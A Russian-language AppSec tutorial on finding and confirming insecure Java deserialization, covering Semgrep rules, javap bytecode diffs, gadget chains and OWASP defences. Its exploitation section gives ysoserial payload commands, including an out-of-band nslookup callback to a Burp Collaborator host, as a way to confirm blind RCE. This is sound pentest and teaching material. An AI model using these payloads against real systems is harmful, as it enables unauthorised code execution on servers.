Небезопасная десериализация Java: как найти уязвимость через статический анализ и дифф байткода

Представь: банковский бэкенд на Spring, контроллер принимает Base64-строку из POST-параметра, декодирует в байты и кидает прямиком в ObjectInputStream.readObject(). Без фильтрации классов. Без проверки подписи. Вообще без ничего. Два года в продакшене, ноль алертов от WAF (Web Application Firewall — фильтр HTTP-трафика на периметре сети), полный RCE (Remote Code Execution — удалённое выполнение произвольных команд на сервере). Такие штуки находятся на пентестах регулярно. Дальше — воспроизводимый маршрут от первого подозрения до подтверждённого эксплойта: статический анализ кода Java, ручной дифф байткода и проверка цепочки гаджетов.
Бизнес-логика атаки: зачем злоумышленнику уязвимость десериализации Java
Прежде чем открывать Semgrep и javap, разберёмся — что именно получает атакующий и почему небезопасная десериализация Java стоит особняком среди критических уязвимостей.
Сериализация — преобразование Java-объекта в последовательность байтов для хранения или передачи по сети. Десериализация — обратный процесс: байты превращаются в живой объект со всеми полями, методами и состоянием. Проблема начинается, когда приложение десериализует данные из недоверенного источника — например, из HTTP-запроса пользователя. JVM честно восстанавливает объект и вызывает его readObject(), не спрашивая, а стоит ли.
Уязвимость классифицирована как CWE-502 (CWE, Common Weakness Enumeration — систематизированный каталог типов уязвимостей; если встретишь CWE-номер в отчёте — это ссылка на конкретный тип бага): Deserialization of Untrusted Data. Последствия по каталогу CWE затрагивают три направления: модификация данных приложения (Integrity), отказ в обслуживании через потребление ресурсов CPU (Availability: DoS), а в худшем случае — выполнение произвольного кода. Уязвимости сериализации объектов подвержены Java, Ruby, PHP, Python и JavaScript — но в Java-экосистеме они бьют больнее всего из-за богатства classpath’а enterprise-приложений.
В рейтинге OWASP Top 10 2021 небезопасная десериализация входит в категорию A08: Software and Data Integrity Failures — нарушения целостности данных и программного обеспечения.
В терминах MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1190 — её идентификаторы; если ты пока не работал с ATT&CK — это по сути энциклопедия того, как атакуют на практике) эксплуатация десериализации в публичном веб-приложении ложится на технику T1190 — Exploit Public-Facing Application (тактика Initial Access). Атакующий отправляет специально сформированный сериализованный объект на доступный эндпоинт — и получает шелл на сервере. Дальше — перемещение по внутренней сети, кража данных, бэкдоры. В банковском контексте это прямой доступ к платёжной инфраструктуре.
Два условия для эксплуатации
По OWASP Deserialization Cheat Sheet и реальным кейсам, для успешной атаки нужны два условия одновременно:
- Приложение десериализует данные из недоверенного источника — через
ObjectInputStream.readObject(),XMLDecoder,XStream.fromXML()или аналоги - В classpath присутствуют классы с gadget chain’ами — classpath (набор библиотек и классов, доступных приложению при запуске) содержит библиотеки с цепочками вызовов, которые приводят к выполнению произвольного кода
Gadget chain (цепочка гаджетов) — последовательность вызовов методов через классы, уже присутствующие в приложении. Цепочка запускается автоматически при десериализации и заканчивается выполнением произвольной команды. Атакующий не приносит свой код — он переиспользует то, что уже лежит в библиотеках. Звучит элегантно, и это действительно одна из самых красивых (и опасных) техник.
Принципиальный нюанс, который подчёркивают в PortSwigger Web Security Academy: уязвимость — сам факт десериализации пользовательского ввода, а не наличие конкретных gadget chain’ов. Полагаться на устранение цепочек — тупик: в приложении с десятками зависимостей новые гаджеты обнаруживаются регулярно. Защита строится на уровне входной точки десериализации, а не на попытках перечислить все опасные классы.
SAST анализ Java-приложений: находим ObjectInputStream
Первый этап — статический анализ кода, или SAST (Static Application Security Testing — автоматизированный поиск уязвимостей в исходном коде без его запуска; по сути — умный grep на стероидах). Задача: обнаружить все точки, где приложение вызывает десериализацию, и понять, какие из них достижимы из пользовательского ввода.
Предусловие: установленный Semgrep (open-source инструмент для поиска паттернов в коде; ставится через pip install semgrep или brew install semgrep), доступ к исходному коду проекта.
Что искать при code review безопасности Java
По OWASP Deserialization Cheat Sheet, полный перечень опасных конструкций:
ObjectInputStreamс методамиreadObject(),readObjectNoData(),readResolve(),readExternal(),readUnshared()XMLDecoderс пользовательскими параметрамиXStreamс методомfromXML()(версии до v1.4.6 подтверждённо уязвимы)- Любой класс, реализующий
Serializableс переопределённымreadObject()
При black-box анализе (когда исходного кода нет, а доступен только трафик) Java-сериализованные объекты распознаются по характерным сигнатурам: AC ED 00 05 в hex-представлении или rO0 в начале Base64-строки. Заголовок Content-Type: application/x-java-serialized-object — редкий, но надёжный маркер нативной Java-сериализации (на практике основной метод детекции — байтовые сигнатуры AC ED 00 05 / rO0). Сериализованные объекты часто прячутся в cookies, скрытых полях форм и параметрах API.
Правило Semgrep для поиска десериализации
Semgrep позволяет написать YAML-правило, которое найдёт все вызовы ObjectInputStream.readObject() в проекте. Запуск: semgrep --config deser-check.yaml ./src. Каждый match в выводе содержит имя файла, номер строки и фрагмент кода — потенциальный sink (точка, куда данные попадают для обработки).
rules:
- id: java-insecure-deserialization
patterns:
- pattern: |
ObjectInputStream $OIS = ...;
...
$OIS.readObject();
message: "ObjectInputStream.readObject() — проверить источник данных"
languages: [java]
severity: ERROR
Ожидаемый результат: список файлов и строк с вызовами readObject(). Если Semgrep ничего не нашёл — либо приложение не использует нативную Java-сериализацию (хорошо), либо десериализация скрыта за абстракциями фреймворка (тогда расширяй правило на XStream.fromXML() и XMLDecoder). На типичном enterprise-проекте на Spring обнаруживаются десятки match’ей — но далеко не каждый опасен.
Отделяем опасное от безопасного
Semgrep нашёл sink’и — дальше ручной аудит кода AppSec. Прослеживаем путь данных от источника (откуда пришли байты) до вызова readObject():
- Красный флаг:
ObjectInputStreamсоздаётся изrequest.getInputStream(),request.getParameter()или из данных, декодированных из Base64-параметра. Прямой пользовательский ввод, полностью контролируемый атакующим - Жёлтый флаг: данные приходят из очереди сообщений (JMS, Kafka) или из внешнего API. Зависит от того, кто контролирует источник и есть ли валидация на входе в очередь
- Условно безопасно: источник — файл из внутреннего хранилища или конфигурация. Риск ниже, но не нулевой: если атакующий контролирует содержимое файла через другую уязвимость (path traversal, SSRF), десериализация снова становится вектором
В рассматриваемом сценарии Semgrep обнаружил десятки вызовов readObject(). Несколько из них принимали данные из HTTP-запросов. Один — тот самый контроллер, где Base64-строка из POST-параметра декодировалась в byte[], оборачивалась в ByteArrayInputStream, передавалась в ObjectInputStream и вызывался readObject(). Между пользовательским вводом и десериализацией — ноль проверок. Чистый путь.
Поиск уязвимостей в байткоде Java: дифф через javap
Исходный код есть не всегда. На пентесте часто доступны только скомпилированные .jar или .class файлы. Здесь начинается анализ байткода на уязвимости — reverse engineering скомпилированного Java-кода, чтобы понять, что происходит при десериализации и насколько (не)полно работает патч вендора.
Предусловие: JDK с утилитой javap (входит в стандартную поставку любого JDK начиная с версии 1.2), опционально — декомпиляторы CFR или Procyon для получения читаемого Java-кода из .class файлов.
Зачем нужен дифф байткода
Типичная ситуация: вендор выпустил патч для библиотеки, закрывающий уязвимость десериализации. В changelog написано «fixed security issue» — и больше ничего. Чтобы понять, что именно изменилось и достаточен ли фикс, сравниваем байткод до и после патча. Это не академическое упражнение: патч нередко закрывает один вектор атаки, оставляя остальные открытыми.
Пошаговый процесс диффа
Шаг 1. Извлечь .class из .jar. JAR — обычный ZIP-архив: jar xf library-1.0.jar com/example/Handler.class. Результат: файл Handler.class появится в соответствующей директории. Проверка: ls com/example/Handler.class.
Шаг 2. Дизассемблировать обе версии и сравнить. Флаг -c выводит байткод-инструкции, -p показывает приватные методы (а readObject() почти всегда private):
javap -c -p -classpath old-lib.jar com.example.Handler > old.txt
javap -c -p -classpath new-lib.jar com.example.Handler > new.txt
diff old.txt new.txt
Ожидаемый результат: diff покажет строки, добавленные или удалённые в новой версии. Пустой вывод — класс не изменился, фикс в другом месте. Изменения в методе readObject или появление нового метода resolveClass — фикс затронул логику десериализации.
Шаг 3. Интерпретировать diff — ищем конкретные паттерны.
Что искать в байткоде
В дизассемблированном выводе javap ключевые инструкции:
invokevirtual java/io/ObjectInputStream.readObject— точка десериализации. Если она осталась без окружающих проверок в обеих версиях — фикс не затронул этот методcheckcast— приведение типа после десериализации.checkcast java/lang/Objectбез последующегоinstanceofозначает: приложение принимает объект любого класса без валидации типа- Появление вызова
resolveClassв новой версии — OWASP рекомендует переопределятьObjectInputStream.resolveClass()с белым списком разрешённых классов. Если в diff’е появилсяinvokevirtual resolveClassс проверкой черезString.equals— фикс есть, но нужно проверить полноту белого списка ObjectInputFilter— стандартный механизм фильтрации в Java 9+. Появление вызововsetObjectInputFilterв diff’е говорит о современном подходе к защите
На одном проекте я сравнивал байткод библиотеки до и после патча. Фикс добавлял проверку resolveClass только для трёх конкретных классов из Commons Collections — остальные проходили свободно. Вектор через Groovy оставался полностью открытым. Без диффа байткода это было бы невозможно понять: changelog просто говорил «security fix». Три слова — и ложное чувство безопасности.
Gadget chain Java: от sink до подтверждённой эксплуатации
Нашли sink через SAST, убедились через дифф байткода, что фильтрации нет или она неполная. Финальный шаг — подтвердить, что в classpath приложения есть библиотеки с известными gadget chain’ами и что поиск RCE через десериализацию завершится результатом.
Проверка classpath на известные гаджеты
Проверяем зависимости проекта. Если доступен pom.xml (Maven) или build.gradle (Gradle) — смотрим напрямую. Если доступен только .jar — распаковываем и изучаем META-INF/MANIFEST.MF, META-INF/maven/ и список .class файлов по пакетам.
Библиотеки с публично известными gadget chain’ами (по данным ysoserial — инструмент для генерации payload’ов через известные цепочки десериализации):
| Библиотека | Chain в ysoserial | Результат эксплуатации |
|---|---|---|
| Commons Collections 3.x / 4.0 | CommonsCollections1–7 | RCE |
| Groovy 2.3.x–2.4.x | Groovy1 | RCE через MethodClosure |
| Spring Framework | Spring1, Spring2 | RCE |
| Apache Commons FileUpload | FileUpload1 | Запись произвольных файлов |
| JDK 7u21+ (историческая метка первого обнаружения; работает на ряде версий JDK 7/8) | Jdk7u21 | RCE через AnnotationInvocationHandler |
Если ни одна из этих библиотек не найдена — это не значит, что приложение безопасно. Публичного chain’а пока нет — но кастомные классы приложения с побочными эффектами в readObject() тоже могут быть звеньями цепочки. Для глубокого поиска таких гаджетов используют GadgetInspector — инструмент, который строит граф вызовов по всему classpath и ищет пути от readObject() до опасных операций (Runtime.exec, FileOutputStream и т.д.).
Генерация и отправка payload
ysoserial генерирует готовый сериализованный объект одной командой: java -jar ysoserial.jar CommonsCollections1 "id". Результат — бинарный поток, который при десериализации через readObject() выполнит команду id на сервере, если в classpath есть Commons Collections подходящей версии.
Предусловие: JDK 8 для сборки и запуска ysoserial (требование зависимостей; версия JRE на целевом сервере должна поддерживать конкретный gadget chain — некоторые chain’ы не работают на JDK 11+ из-за модульной системы), скачанный ysoserial.jar.
На практике это перебор: отправляем payload’ы для разных chain’ов и смотрим на реакцию сервера. Если обратной связи нет (blind-сценарий — сервер не возвращает вывод команды), используем out-of-band взаимодействие: java -jar ysoserial.jar CommonsCollections1 "nslookup unique-id.burpcollaborator.net" — и ждём DNS-запрос на контролируемом Burp Collaborator. DNS-запрос пришёл — RCE подтверждён. Просто и надёжно.
В рассматриваемом сценарии сработал chain Groovy1: в classpath лежала уязвимая версия Groovy. Механизм цепочки: ConvertedClosure оборачивает MethodClosure, содержащий ОС-команду. При десериализации вызов перенаправляется через ConvertedClosure в замыкание — и команда выполняется. Конкретная механика зависит от версии chain’а — детали в исходниках ysoserial payloads/Groovy1.java. Здесь принципиально то, что проверка прошла: фильтрации нет, gadget chain доступен, DNS-запрос дошёл.
Встраиваем обнаружение десериализации в AppSec pipeline
Найти уязвимость на пентесте — полезно. Сделать так, чтобы подобный код не попадал в продакшен — на порядок ценнее.
Автоматизация через CI
Правило Semgrep из раздела выше добавляется в CI одной строкой (GitHub Actions, GitLab CI): semgrep --config ./rules/deser-check.yaml --error ./src. Флаг --error роняет билд при обнаружении match’а. Разработчик получает конкретное указание: файл, строка, описание проблемы — до того, как код попал в основную ветку.
Для более глубокого анализа — CodeQL от GitHub. CodeQL строит полный граф потоков данных (taint analysis — отслеживание пути пользовательского ввода через весь код; если Semgrep — это grep на стероидах, то CodeQL — это полноценный статический анализатор, который понимает «куда утекают данные») по проекту и находит цепочки, где HTTP-параметр достигает readObject() через произвольное количество промежуточных вызовов. Стандартные запросы CodeQL для Java уже включают правила обнаружения ObjectInputStream уязвимостей.
Защита на уровне кода
По OWASP Deserialization Cheat Sheet, рекомендованные меры в порядке приоритета:
- Не десериализовать пользовательский ввод вообще. Заменить нативную Java-сериализацию на JSON через Jackson или Gson — формат, где
readObject()не вызывается автоматически. Единственная мера, которая закрывает проблему полностью. Всё остальное — костыли разной степени надёжности - Переопределить
resolveClass(). Создать подклассObjectInputStreamс белым списком разрешённых классов — по моделиLookAheadObjectInputStreamиз документации OWASP. Класс выбрасываетInvalidClassExceptionпри попытке десериализовать неразрешённый класс ObjectInputFilter(Java 9+). Стандартный JVM-механизм программной фильтрации классов при десериализации. Задаётся черезObjectInputStream.setObjectInputFilter()или глобально через JVM-параметр- Подписывать данные. HMAC-подпись сериализованного потока; подпись не совпала — данные отбрасываются до вызова
readObject() - Agent-based hardening. Если нет возможности менять код приложения — JVM-агент, который перехватывает все вызовы
ObjectInputStreamи применяет блок-лист опасных классов. Подключается параметром-javaagent:name-of-agent.jar
Запомни одну вещь: любая проверка после десериализации бесполезна. Gadget chain выполняется внутри readObject(), до того как приложение получит результат и начнёт что-либо валидировать. Защита работает только до или во время десериализации.
Таблица предусловий и ограничений
| Техника | Нужен исходный код | Нужен .jar/.class | Версия Java | Когда применять |
|---|---|---|---|---|
| Semgrep SAST | Да | Нет | Любая | Code review, CI/CD |
| javap дифф байткода | Нет | Да | JDK 8+ | Анализ патчей, black-box аудит |
| ysoserial | Нет | Нет (только endpoint) | Java 8 для генерации | Подтверждение RCE на пентесте |
| CodeQL taint analysis | Да | Нет | Любая | Глубокий анализ потоков данных |
| GadgetInspector | Нет | Да | Java 8+ | Поиск новых gadget chain’ов |
В подобных сценариях ObjectInputStream.readObject() может годами висеть на прямом пути от HTTP-запроса в бэкенде. DAST-сканер не умел формировать сериализованные payload’ы. SAST-правила покрывали SQL-инъекции и XSS, но не десериализацию. Код написали задолго до того, как команда задумалась о безопасности — и он тихо жил в продакшене, пока не пришёл аудит.
Моя позиция: в 2025 году вызов readObject() на пользовательских данных без фильтрации — не «legacy-долг» и не «технический компромисс». Инструментарий для обнаружения бесплатен: одно правило Semgrep на восемь строк YAML, один прогон в CI — и такая уязвимость не проходит в прод. Проблема не в сложности защиты, а в том, что Java-разработчики до сих пор копируют паттерны десятилетней давности из Stack Overflow, где нативная сериализация использовалась для всего — от кэширования сессий до межсервисного обмена.
Новые gadget chain’ы будут появляться — каждая библиотека с Serializable-классами и побочными эффектами в readObject() расширяет атакующую поверхность. Единственная стратегия, которая работает долгосрочно, — не десериализовать недоверенные данные вообще. Не фильтровать, не подписывать, а заменить формат: JSON, Protocol Buffers — что угодно, где readObject() не вызывается автоматически. Всё остальное — временные заплатки. Если ты в начале пути — на IB Basics базу закрывают за два месяца, без воды.
Эту тему и смежные навыки разбирают на практике в курсе «Профессия: инженер по безопасности приложений (AppSec)» Codeby Academy.